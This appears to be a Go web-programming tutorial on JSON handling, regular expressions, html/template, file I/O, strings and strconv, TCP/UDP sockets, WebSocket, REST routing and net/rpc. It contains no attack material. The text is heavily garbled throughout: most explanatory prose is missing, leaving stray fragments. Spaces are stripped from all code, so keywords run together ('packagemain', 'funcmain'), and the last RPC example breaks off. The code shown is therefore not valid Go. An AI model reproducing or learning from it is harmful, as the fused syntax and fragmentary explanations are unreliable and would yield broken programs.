arr,_:=js.Get("test").Get("array").Array()i,_:=js.Get("test").Get("int").Int()ms:=js.Get("test").Get("string").MustString()
JSON https://github.com/bitly/go-simplejson
JSON
JSONJSON Marshal
funcMarshal(vinterface{})([]byte,error)
packagemain
import("encoding/json""fmt")
typeServerstruct{ServerNamestringServerIPstring}
typeServerslicestruct{Servers[]Server}
funcmain(){varsServerslices.Servers=append(s.Servers,Server{ServerName:"Shanghai_VPN",ServerIP:"127.0.0.1"})s.Servers=append(s.Servers,Server{ServerName:"Beijing_VPN",ServerIP:"127.0.0.2"})b,err:=json.Marshal(s)iferr!=nil{fmt.Println("jsonerr:",err)}fmt.Println(string(b))}
{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}
JSONstructtag
typeServerstruct{ServerNamestring`json:"serverName"`ServerIPstring`json:"serverIP"`}
typeServerslicestruct{Servers[]Server`json:"servers"`}
JSONJSON
JSONstructtag
tag "-"JSONtagJSONserverNametag"omitempty"JSONbool,string,int,int65tag ",string"JSONJSON
typeServerstruct{//IDJSONIDint`json:"-"`
//ServerName2JSONServerNamestring`json:"serverName"`ServerName2string`json:"serverName2,string"`
//ServerIPJSONServerIPstring`json:"serverIP,omitempty"`}
s:=Server{ID:3,ServerName:`Go"1.0"`,ServerName2:`Go"1.0"`,ServerIP:``,}b,_:=json.Marshal(s)os.Stdout.Write(b)
{"serverName":"Go\"1.0\"","serverName2":"\"Go\\\"1.0\\\"\""}
Marshal
JSONstringkeymapmap[string]T(TGo)Channel,complexfunctionJSONJSONnull
GojsonJSON go-simplejsonWeb
links
: XML:
7.3Web
GoregexpGoGoRE2\Chttp://code.google.com/p/re2/wiki/Syntax
strings(ContainsIndex)(Replace)(SplitJoin)strings
UTF-8Go regexp
regexptruefalse
funcMatch(patternstring,b[]byte)(matchedbool,errorerror)funcMatchReader(patternstring,rio.RuneReader)(matchedbool,errorerror)funcMatchString(patternstring,sstring)(matchedbool,errorerror)
patterntrueerrorbytesliceRuneReaderstring
IP
funcIsIP(ipstring)(bbool){ifm,_:=regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$",ip);!m{returnfalse}
returntrue}
regexppattern
funcmain(){iflen(os.Args)==1{fmt.Println("Usage:regexp[string]")os.Exit(1)}elseifm,_:=regexp.MatchString("^[0-9]+$",os.Args[1]);m{fmt.Println("" )}else{fmt.Println("" )}}
Match(Reader|String)
Match
packagemain
import("fmt""io/ioutil""net/http""regexp""strings")
funcmain(){resp,err:=http.Get("http://www.baidu.com")iferr!=nil{fmt.Println("httpgeterror.")
}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{fmt.Println("httpreaderror")return}
src:=string(body)
//HTMLre,_:=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllStringFunc(src,strings.ToLower)
//<style>re,_=regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")src=re.ReplaceAllString(src,"")
//<script>re,_=regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")src=re.ReplaceAllString(src,"")
//<>HTMLre,_=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllString(src,"\n")
//re,_=regexp.Compile("\\s{2,}")src=re.ReplaceAllString(src,"\n")
fmt.Println(strings.TrimSpace(src))}
CompileRegexpRegexp
funcCompile(exprstring)(*Regexp,error)funcCompilePOSIX(exprstring)(*Regexp,error)funcMustCompile(strstring)*RegexpfuncMustCompilePOSIX(strstring)*Regexp
CompilePOSIXCompilePOSIXPOSIXCompile([a-z]{2,4}"aa09aaa88aaaa"CompilePOSIXaaaaCompileaa)MustpanicMust
Regexpstruct
func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllString(sstring,nint)[]stringfunc(re*Regexp)FindAllStringIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllStringSubmatch(sstring,nint)[][]stringfunc(re*Regexp)FindAllStringSubmatchIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindReaderIndex(rio.RuneReader)(loc[]int)func(re*Regexp)FindReaderSubmatchIndex(rio.RuneReader)[]intfunc(re*Regexp)FindString(sstring)stringfunc(re*Regexp)FindStringIndex(sstring)(loc[]int)func(re*Regexp)FindStringSubmatch(sstring)[]stringfunc(re*Regexp)FindStringSubmatchIndex(sstring)[]intfunc(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int
18(byteslicestringio.RuneReader)
func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int
packagemain
import("fmt""regexp")
funcmain(){a:="IamlearningGolanguage"
re,_:=regexp.Compile("[a-z]{2,4}")
//one:=re.Find([]byte(a))fmt.Println("Find:",string(one))
//slicen0
all:=re.FindAll([]byte(a),-1)fmt.Println("FindAll",all)
//indexindex:=re.FindIndex([]byte(a))fmt.Println("FindIndex",index)
//indexnallindex:=re.FindAllIndex([]byte(a),-1)fmt.Println("FindAllIndex",allindex)
re2,_:=regexp.Compile("am(.*)lang(.*)")
//Submatch()()
//"amlearningGolanguage"//"learningGo"//"uage"submatch:=re2.FindSubmatch([]byte(a))fmt.Println("FindSubmatch",submatch)for_,v:=rangesubmatch{fmt.Println(string(v))}
//FindIndexsubmatchindex:=re2.FindSubmatchIndex([]byte(a))fmt.Println(submatchindex)
//FindAllSubmatchsubmatchall:=re2.FindAllSubmatch([]byte(a),-1)fmt.Println(submatchall)
//FindAllSubmatchIndexindexsubmatchallindex:=re2.FindAllSubmatchIndex([]byte(a),-1)fmt.Println(submatchallindex)}
RegexpRegexp
func(re*Regexp)Match(b[]byte)boolfunc(re*Regexp)MatchReader(rio.RuneReader)boolfunc(re*Regexp)MatchString(sstring)bool
func(re*Regexp)ReplaceAll(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllFunc(src[]byte,replfunc([]byte)[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteral(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteralString(src,replstring)stringfunc(re*Regexp)ReplaceAllString(src,replstring)stringfunc(re*Regexp)ReplaceAllStringFunc(srcstring,replfunc(string)string)string
Expand
func(re*Regexp)Expand(dst[]byte,template[]byte,src[]byte,match[]int)[]bytefunc(re*Regexp)ExpandString(dst[]byte,templatestring,srcstring,match[]int)[]byte
Expand
funcmain(){src:=[]byte(`callhelloalicehellobobcallhelloeve`)pat:=regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)res:=[]byte{}for_,s:=rangepat.FindAllSubmatchIndex(src,-1){res=pat.Expand(res,[]byte("$cmd('$arg')\n"),src,s)}fmt.Println(string(res))}
GoregexpGo
links
: Json:
7.4
MVCModelViewControllerViewHTMLJSP <%=....=%>PHP <?php.....?>
7.1
Web
Go
Go template ParseParseFileExecutemerge
funchandler(whttp.ResponseWriter,r*http.Request){t:=template.New("sometemplate")//t,_=t.ParseFiles("tmpl/welcome.html",nil)//user:=GetUser()//t.Execute(w,user)//merger}
Go
ParseFilesParseParsehandlermainhttp.ResponseWriteros.Stdout os.Stdoutio.Writer
GoGo
Go {{}} {{.}}JavaC++this {{.FieldName}}
packagemain
import("html/template""os")
typePersonstruct{UserNamestring}
funcmain(){t:=template.New("fieldnameexample")t,_=t.Parse("hello{{.UserName}}!")p:=Person{UserName:"Astaxie"}t.Execute(os.Stdout,p)}
helloAstaxie
typePersonstruct{UserNamestringemailstring//}
t,_=t.Parse("hello{{.UserName}}!{{.email}}")
{{.}}fmt
{{with...}}...{{end}}{{range...}}{{end}}
{{range}}Gorange{{with}}
packagemain
import("html/template""os")
typeFriendstruct{Fnamestring}
typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}
funcmain(){f1:=Friend{Fname:"minux.ma"}f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}anemail{{.}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"astaxie@beego.me","astaxie@gmail.com"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)
}
GoGo if-elsepipelineiffalse if-else
packagemain
import("os""text/template")
funcmain(){tEmpty:=template.New("templatetest")tEmpty=template.Must(tEmpty.Parse("pipelineifdemo:{{if``}}{{end}}\n" ))tEmpty.Execute(os.Stdout,nil)
tWithValue:=template.New("templatetest")tWithValue=template.Must(tWithValue.Parse("pipelineifdemo:{{if`anything`}}{{end}}\n" ))tWithValue.Execute(os.Stdout,nil)
tIfElse:=template.New("templatetest")tIfElse=template.Must(tIfElse.Parse("if-elsedemo:{{if`anything`}}if{{else}}else.{{end}}\n" ))tIfElse.Execute(os.Stdout,nil)}
if-else
ifMail=="astaxie@gmail.com"ifbool
pipelines
Unix pipe ls|grep"beego""beego"GopipeGo {{}}pipelinesemailXSS
{{.|html}}
emailhtmlUnix
with``range``if {{end}}Go
$variable:=pipeline
{{with$x:="output"|printf"%q"}}{{$x}}{{end}}{{with$x:="output"}}{{printf"%q"$x}}{{end}}{{with$x:="output"}}{{$x|printf"%q"}}{{end}}
fmt @at astaxieatbeego.me
Go
typeFuncMapmap[string]interface{}
email emailDealGo EmailDealWith
t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})
EmailDealWith
funcEmailDealWith(args...interface{})string
packagemain
import("fmt""html/template""os""strings")
typeFriendstruct{Fnamestring}
typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}
funcEmailDealWith(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}//findthe@symbolsubstrs:=strings.Split(s,"@")iflen(substrs)!=2{returns}//replacethe@by"at"return(substrs[0]+"at"+substrs[1])}
funcmain(){f1:=Friend{Fname:"minux.ma"}
f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}anemails{{.|emailDeal}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"astaxie@beego.me","astaxie@gmail.com"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)}
varbuiltins=FuncMap{"and":and,"call":call,"html":HTMLEscaper,"index":index,"js":JSEscaper,"len":length,"not":not,"or":or,"print":fmt.Sprint,"printf":fmt.Sprintf,"println":fmt.Sprintln,"urlquery":URLQueryEscaper,}
Must
MustMust
packagemain
import("fmt""text/template")
funcmain(){tOk:=template.New("first")template.Must(tOk.Parse("somestatictext/*andacomment*/"))fmt.Println("ThefirstoneparsedOK.")
template.Must(template.New("second").Parse("somestatictext{{.Name}}"))fmt.Println("ThesecondoneparsedOK.")
fmt.Println("Thenextoneoughttofail.")tErr:=template.New("checkparseerrorwithMust")template.Must(tErr.Parse("somestatictext{{.Name}"))}
ThefirstoneparsedOK.ThesecondoneparsedOK.Thenextoneoughttofail.panic:template:checkparseerrorwithMust:1:unexpected"}"incommand
Web headercontentfooterGo
{{define"" }}{{end}}
{{template"" }}
header.tmplcontent.tmplfooter.tmpl
//header.tmpl{{define"header"}}<html><head><title> </title></head><body>{{end}}
//content.tmpl{{define"content"}}{{template"header"}}<h1> </h1><ul><li>define </li><li>template </li></ul>{{template"footer"}}{{end}}
//footer.tmpl{{define"footer"}}</body></html>{{end}}
packagemain
import("fmt""os""text/template")
funcmain(){s1,_:=template.ParseFiles("header.tmpl","content.tmpl","footer.tmpl")s1.ExecuteTemplate(os.Stdout,"header",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"content",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"footer",nil)fmt.Println()s1.Execute(os.Stdout,nil)}
template.ParseFiles{{define}}map(keyvalue) ExecuteTemplateheaderfootercontentheaderfooter
s1.Execute
MVCVMC
links
::
7.5WebWebWeb()Go
os
funcMkdir(namestring,permFileMode)error
nameperm0777
funcMkdirAll(pathstring,permFileMode)error
pathastaxie/test1/test2
funcRemove(namestring)error
name
funcRemoveAll(pathstring)error
pathpath
packagemain
import("fmt""os")
funcmain(){os.Mkdir("astaxie",0777)os.MkdirAll("astaxie/test1/test2",0777)err:=os.Remove("astaxie")iferr!=nil{fmt.Println(err)}os.RemoveAll("astaxie")}
funcCreate(namestring)(file*File,errError)
0666
funcNewFile(fduintptr,namestring)*File
funcOpen(namestring)(file*File,errError)
nameOpenFile
funcOpenFile(namestring,flagint,permuint32)(file*File,errError)
nameflagperm
func(file*File)Write(b[]byte)(nint,errError)
byte
func(file*File)WriteAt(b[]byte,offint64)(nint,errError)
byte
func(file*File)WriteString(sstring)(retint,errError)
string
packagemain
import("fmt""os")
funcmain(){userFile:="astaxie.txt"fout,err:=os.Create(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfout.Close()fori:=0;i<10;i++{fout.WriteString("Justatest!\r\n")fout.Write([]byte("Justatest!\r\n"))}}
func(file*File)Read(b[]byte)(nint,errError)
b
func(file*File)ReadAt(b[]byte,offint64)(nint,errError)
offb
packagemain
import("fmt""os"
)
funcmain(){userFile:="asatxie.txt"fl,err:=os.Open(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfl.Close()buf:=make([]byte,1024)for{n,_:=fl.Read(buf)if0==n{break}os.Stdout.Write(buf[:n])}}
Go
funcRemove(namestring)Error
name
links
::
7.6WebGostringsstrconv
strings
funcContains(s,substrstring)bool
ssubstrbool
fmt.Println(strings.Contains("seafood","foo"))fmt.Println(strings.Contains("seafood","bar"))fmt.Println(strings.Contains("seafood",""))fmt.Println(strings.Contains("",""))//Output://true//false//true//true
funcJoin(a[]string,sepstring)string
sliceasep
s:=[]string{"foo","bar","baz"}fmt.Println(strings.Join(s,","))//Output:foo,bar,baz
funcIndex(s,sepstring)int
ssep-1
fmt.Println(strings.Index("chicken","ken"))fmt.Println(strings.Index("chicken","dmr"))//Output:4//-1
funcRepeat(sstring,countint)string
scount
fmt.Println("ba"+strings.Repeat("na",2))//Output:banana
funcReplace(s,old,newstring,nint)string
soldnewn0
fmt.Println(strings.Replace("oinkoinkoink","k","ky",2))fmt.Println(strings.Replace("oinkoinkoink","oink","moo",-1))//Output:oinkyoinkyoink//moomoomoo
funcSplit(s,sepstring)[]string
sepsslice
fmt.Printf("%q\n",strings.Split("a,b,c",","))fmt.Printf("%q\n",strings.Split("amanaplanacanalpanama","a"))fmt.Printf("%q\n",strings.Split("xyz",""))fmt.Printf("%q\n",strings.Split("","BernardoO'Higgins"))//Output:["a""b""c"]//["""man""plan""canalpanama"]//["""x""y""z"""]//[""]
funcTrim(sstring,cutsetstring)string
scutset
fmt.Printf("[%q]",strings.Trim("!!!Achtung!!!","!"))//Output:["Achtung"]
funcFields(sstring)[]string
sslice
fmt.Printf("Fieldsare:%q",strings.Fields("foobarbaz"))//Output:Fieldsare:["foo""bar""baz"]
strconv
Append
packagemain
import("fmt""strconv")
funcmain(){str:=make([]byte,0,100)str=strconv.AppendInt(str,4567,10)str=strconv.AppendBool(str,false)str=strconv.AppendQuote(str,"abcdefg")str=strconv.AppendQuoteRune(str,'' )fmt.Println(string(str))}
Format
packagemain
import("fmt""strconv"
)
funcmain(){a:=strconv.FormatBool(false)b:=strconv.FormatFloat(123.23,'g',12,64)c:=strconv.FormatInt(1234,10)d:=strconv.FormatUint(12345,10)e:=strconv.Itoa(1023)fmt.Println(a,b,c,d,e)}
Parse
packagemain
import("fmt""strconv")funccheckError(eerror){ife!=nil{fmt.Println(e)}}funcmain(){a,err:=strconv.ParseBool("false")checkError(err)b,err:=strconv.ParseFloat("123.23",64)checkError(err)c,err:=strconv.ParseInt("1234",10,64)checkError(err)d,err:=strconv.ParseUint("12345",10,64)checkError(err)e,err:=strconv.Atoi("1023")checkError(err)fmt.Println(a,b,c,d,e)}
links
::
7.7XMLJSONXMLJSON//Web
links
:: Web
8WebWebHTTPXMLJSON
WebLinuxWindowsasp.netFreeBSDJSP
WebRESTSOAP
RESTRESTHTTPHTTPmethodWebHTTPREST8.3GoREST
SOAPW3CSOAPGoSOAPGoRPC8.4GoRPC
Go21C8.1SocketSocketHTTPGoSocketHTML5WebSocket8.2GoWebSocket
links
:: Socket
8.1SocketSocketSocketWebQQQQQQPPstreamPPstreamSocketSocketGoSocket
Socket
SocketUnixUnix"""open->write/read->close"SocketSocketI/OSocketSocketSocket()intSocketSocket
SocketSocketSOCK_STREAMSocketSOCK_DGRAMSocketTCPSocketSocketUDP
Socket
SocketPIDTCP/IP"ip""+"ipTCP/IP
8.1
TCP/IPUNIXBSDsocketUNIXSystemVTLIsocket"Socket"
Socket
SocketTCPSocketUDPSocketTCPUDPIP
IPv4
TCP/IPIPTCP/IPTCP/IPIP4(IPv4)30
IPv432232InternetIPIPIPV4IP
127.0.0.1172.122.121.111
IPv6
IPv6IPv4IPv6128IPv611000IPv6IPv4IPQoS
2002:c0e8:82e7:0:0:0:c0e8:82e7
Go IP
GonetIP
typeIP[]byte
netIP ParseIP(sstring)IPIPv4IPv6IP
packagemainimport("net""os""fmt")funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%sip-addr\n",os.Args[0])os.Exit(1)}name:=os.Args[1]addr:=net.ParseIP(name)ifaddr==nil{fmt.Println("Invalidaddress")}else{fmt.Println("Theaddressis",addr.String())}os.Exit(0)}
IPIP
TCPSocket
Gonet TCPConn
func(c*TCPConn)Write(b[]byte)(nint,erros.Error)func(c*TCPConn)Read(b[]byte)(nint,erros.Error)
TCPConn
TCPAddrTCP
typeTCPAddrstruct{IPIPPortint}
GoResolveTCPAddr TCPAddr
funcResolveTCPAddr(net,addrstring)(*TCPAddr,os.Error)
net"tcp4""tcp6""tcp"TCP(IPv4-only),TCP(IPv6-only)TCP(IPv4,IPv6
addrIP"www.google.com:80""127.0.0.1:22"
TCPclient
Gonet DialTCPTCP TCPConn TCPConnTCPConn
funcDialTCP(netstring,laddr,raddr*TCPAddr)(c*TCPConn,erros.Error)
net"tcp4""tcp6""tcp"TCP(IPv4-only),TCP(IPv6-only)TCP(IPv4,IPv6
laddrnilraddr
HTTPWebhttp
"HEAD/HTTP/1.0\r\n\r\n"
HTTP/1.0200OKETag:"-9985996"Last-Modified:Thu,25Mar201017:51:10GMTContent-Length:18074Connection:closeDate:Sat,28Aug201000:43:48GMTServer:lighttpd/1.4.23
packagemain
import("fmt""io/ioutil""net""os")
funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)conn,err:=net.DialTCP("tcp",nil,tcpAddr)checkError(err)_,err=conn.Write([]byte("HEAD/HTTP/1.0\r\n\r\n"))checkError(err)result,err:=ioutil.ReadAll(conn)checkError(err)fmt.Println(string(result))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
servicenet.ResolveTCPAddrtcpAddrtcpAddrDialTCPTCP connconn ioutil.ReadAllconn
TCPserver
TCPnetnet
funcListenTCP(netstring,laddr*TCPAddr)(l*TCPListener,erros.Error)func(l*TCPListener)Accept()(cConn,erros.Error)
DialTCP7777
packagemain
import("fmt""net""os""time")
funcmain(){service:=":7777"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalue
conn.Close()//we'refinishedwiththisclient}}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
Accept forcontinue
Gogoroutine
packagemain
import("fmt""net"
"os""time")
funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}
funchandleClient(connnet.Conn){deferconn.Close()daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalue//we'refinishedwiththisclient}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
handleClinet gogoroutine
packagemain
import("fmt""net""os""time"
"strconv")
funcmain(){service:=":1200"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}gohandleClient(conn)}}
funchandleClient(connnet.Conn){conn.SetReadDeadline(time.Now().Add(2*time.Minute))//set2minutestimeoutrequest:=make([]byte,128)//setmaxiumrequestlengthto128Btopreventfloodattackdeferconn.Close()//closeconnectionbeforeexitfor{read_len,err:=conn.Read(request)
iferr!=nil{fmt.Println(err)break}
ifread_len==0{break//connectionalreadyclosedbyclient}elseifstring(request)=="timestamp"{daytime:=strconv.FormatInt(time.Now().Unix(),10)conn.Write([]byte(daytime))}else{daytime:=time.Now().String()conn.Write([]byte(daytime))}
request=make([]byte,128)//clearlastreadcontent}}
funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}
conn.Read() conn.SetReadDeadline() connforrequestfloodattackrequest conn.Read()append
TCP
TCP
funcDialTimeout(net,addrstring,timeouttime.Duration)(Conn,error)
func(c*TCPConn)SetReadDeadline(ttime.Time)errorfunc(c*TCPConn)SetWriteDeadline(ttime.Time)error
/
func(c*TCPConn)SetKeepAlive(keepalivebool)os.Error
TCP
net
UDPSocket
GoUDPSocketTCPSocketUDPAcceptTCPUDPUDP
funcResolveUDPAddr(net,addrstring)(*UDPAddr,os.Error)funcDialUDP(netstring,laddr,raddr*UDPAddr)(c*UDPConn,erros.Error)funcListenUDP(netstring,laddr*UDPAddr)(c*UDPConn,erros.Error)func(c*UDPConn)ReadFromUDP(b[]byte)(nint,addr*UDPAddr,erros.Errorfunc(c*UDPConn)WriteToUDP(b[]byte,addr*UDPAddr)(nint,erros.Error)
UDPTCPUDP
packagemain
import("fmt""net""os")
funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.DialUDP("udp",nil,udpAddr)checkError(err)_,err=conn.Write([]byte("anything"))checkError(err)varbuf[512]byten,err:=conn.Read(buf[0:])checkError(err)fmt.Println(string(buf[0:n]))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)
}}
UDP
packagemain
import("fmt""net""os""time")
funcmain(){service:=":1200"udpAddr,err:=net.ResolveUDPAddr("udp4",service)checkError(err)conn,err:=net.ListenUDP("udp",udpAddr)checkError(err)for{handleClient(conn)}}funchandleClient(conn*net.UDPConn){varbuf[512]byte_,addr,err:=conn.ReadFromUDP(buf[0:])iferr!=nil{return}daytime:=time.Now().String()conn.WriteToUDP([]byte(daytime),addr)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror",err.Error())os.Exit(1)}}
TCPUDPSocketGoSocketGoSocket
links
: Web: WebSocket
8.2WebSocketWebSocketHTML5socketFirefoxGoogleChromeSafari
WebSocket""HTTPRequest""
WebSocketJavaScriptTCPScoketWebHTTP
WebTCPWebsocketweb(push)
WebSocketURLws://wss://SSLWebSocketHTTPJavaScriptsocket
8.3WebSocketrequestresponse
"Sec-WebSocket-Key"base64
258EAFA5-E914-47DA-95CA-C5AB0DC85B11
f7cb4ezEAl6C3wRaU6JORA==
f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11
sha12base64
rE91AJhfC+6JdVcVXOGJEADEJdQ=
Sec-WebSocket-Accept
Go WebSocket
GoWebSocketgo.net
gogetcode.google.com/p/go.net/websocket
WebSocketWebSocketPush
<html><head></head><body><scripttype="text/javascript">varsock=null;varwsuri="ws://127.0.0.1:1234";
window.onload=function(){
console.log("onload");
sock=newWebSocket(wsuri);
sock.onopen=function(){console.log("connectedto"+wsuri);}
sock.onclose=function(e){console.log("connectionclosed("+e.code+")");}
sock.onmessage=function(e){console.log("messagereceived:"+e.data);}};
functionsend(){varmsg=document.getElementById('message').value;sock.send(msg);};</script><h1>WebSocketEchoTest</h1><form><p>Message:<inputid="message"type="text"value="Hello,world!"></p></form>
<buttononclick="send();">SendMessage</button></body></html>
JSWebSocketsockWebScoketonopen
1onopen2onmessage3onerror4onclose
packagemain
import("golang.org/x/net/websocket""fmt""log""net/http")
funcEcho(ws*websocket.Conn){varerrerror
for{varreplystring
iferr=websocket.Message.Receive(ws,&reply);err!=nil{fmt.Println("Can'treceive")break}
fmt.Println("Receivedbackfromclient:"+reply)
msg:="Received:"+replyfmt.Println("Sendingtoclient:"+msg)
iferr=websocket.Message.Send(ws,msg);err!=nil{fmt.Println("Can'tsend")
break}}}
funcmain(){http.Handle("/",websocket.Handler(Echo))
iferr:=http.ListenAndServe(":1234",nil);err!=nil{log.Fatal("ListenAndServe:",err)}}
SendReceiveSend
8.4WebSocket
WebSocketGonetHTML5WebSocketWeb
links
: Socket: REST
8.3RESTRESTfulGo
REST
REST(RepresentationalStateTransfer)2000RoyThomasFieldingHTTPRESTful
REST
ResourcesREST""""""""
URIURI
Representation
txthtmljsonxmljpgpng
URIHTTPAcceptContent-Type""
StateTransfer
HTTP
HTTPHTTPGETPOSTPUTDELETEGETPOSTPUTDELETE
RESTful
1URI23HTTP""
WebREST
REST
REST
8.7REST
RESTlevelRESTfulRESTfulRESTful DELETEPUTHTTPHTTP GETPOST
HTML GETPOSTAjax PUTDELETE
HTTP PUTDELETE PUTDELETEPOSTRESTfulPOSTHTTP
POST _methodPUTDELETERESTGoRESTfulRESTful
packagemain
import("fmt""github.com/julienschmidt/httprouter""log""net/http")
funcIndex(whttp.ResponseWriter,r*http.Request,_httprouter.Params){fmt.Fprint(w,"Welcome!\n")}
funcHello(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){
fmt.Fprintf(w,"hello,%s!\n",ps.ByName("name"))}
funcgetuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaregetuser%s",uid)}
funcmodifyuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaremodifyuser%s",uid)}
funcdeleteuser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){uid:=ps.ByName("uid")fmt.Fprintf(w,"youaredeleteuser%s",uid)}
funcadduser(whttp.ResponseWriter,r*http.Request,pshttprouter.Params){//uid:=r.FormValue("uid")uid:=ps.ByName("uid")fmt.Fprintf(w,"youareadduser%s",uid)}
funcmain(){router:=httprouter.New()router.GET("/",Index)router.GET("/hello/:name",Hello)
router.GET("/user/:uid",getuser)router.POST("/adduser/:uid",adduser)router.DELETE("/deluser/:uid",deleteuser)router.PUT("/moduser/:uid",modifyuser)
log.Fatal(http.ListenAndServe(":8080",router))}
RESTmethodgithub.com/julienschmidt/httprouterREST
RESTWWWHTTPURIWebURIHTTPInternetRESTWebGoRESTmethodhandleREST
links
: WebSocket: RPC
8.4RPCSocketHTTPSocketHTTP""
RPC
RPCRemoteProcedureCallProtocolTCPUDPOSIRPCRPC
RPC
GoRPCRPCHTTPJSONRPCGoRPCRPCRPCGoGo
GoRPC
()
error
RPC
func(t*T)MethodName(argTypeT1,replyType*T2)error
TT1T2 encoding/gob/
RPCGoRPCHTTPTCPHTTP net/http
HTTPRPC
http
packagemain
import("errors""fmt""net/http""net/rpc")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint
}
typeArithint
func(t*Arith)Multiply(args*Args,reply*int)error{*reply=args.A*args.Breturnnil}
func(t*Arith)Divide(args*Args,quo*Quotient)error{ifargs.B==0{returnerrors.New("dividebyzero")}quo.Quo=args.A/args.Bquo.Rem=args.A%args.Breturnnil}
funcmain(){
arith:=new(Arith)rpc.Register(arith)rpc.HandleHTTP()
err:=http.ListenAndServe(":1234",nil)iferr!=nil{fmt.Println(err.Error())}}
ArithRPC rpc.HandleHTTPHTTPhttp
packagemain
import("fmt""log""net/rpc""os")
typeArgsstruct{A,Bint}
typeQuotientstruct{Quo,Remint}
funcmain(){iflen(os.Args)!=2{fmt.Println("Usage:",os.Args[0],"server")os.Exit(1)}serverAddress:=os.Args[1]
